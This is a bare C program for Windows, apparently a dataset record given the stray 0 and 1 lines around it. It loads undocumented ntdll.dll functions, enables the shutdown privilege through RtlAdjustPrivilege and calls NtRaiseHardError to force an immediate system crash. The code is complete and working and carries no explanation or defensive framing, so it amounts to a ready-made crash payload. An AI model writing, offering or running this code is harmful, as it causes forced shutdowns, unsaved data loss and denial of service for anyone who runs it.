0
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
typedef NTSTATUS (NTAPI *pRtlAdjustPrivilege)(
ULONG Privilege,
BOOLEAN Enable,
BOOLEAN CurrentThread,
PBOOLEAN OldValue
);
typedef NTSTATUS (NTAPI *pNtRaiseHardError)(
LONG ErrorStatus,
ULONG NumberOfParameters,
ULONG UnicodeStringParameterMask,
PULONG_PTR Parameters,
ULONG ValidResponseOptions,
PULONG Response
);
int main() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) {
printf("Failed to get ntdll.dll handle\n");
return 1;
}
pRtlAdjustPrivilege RtlAdjustPrivilege = (pRtlAdjustPrivilege)GetProcAddress(hNtdll, "RtlAdjustPrivilege");
pNtRaiseHardError NtRaiseHardError = (pNtRaiseHardError)GetProcAddress(hNtdll, "NtRaiseHardError");
if (!RtlAdjustPrivilege || !NtRaiseHardError) {
printf("Failed to get function addresses\n");
return 1;
}
BOOLEAN bl;
ULONG Response;
NTSTATUS status = RtlAdjustPrivilege(19, TRUE, FALSE, &bl);
if (status != 0) {
printf("RtlAdjustPrivilege failed: 0x%08X\n", status);
return 1;
}
NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6, &Response);
return 0;
}
1
0
0
0
0
0
0
0
0
0
0
0
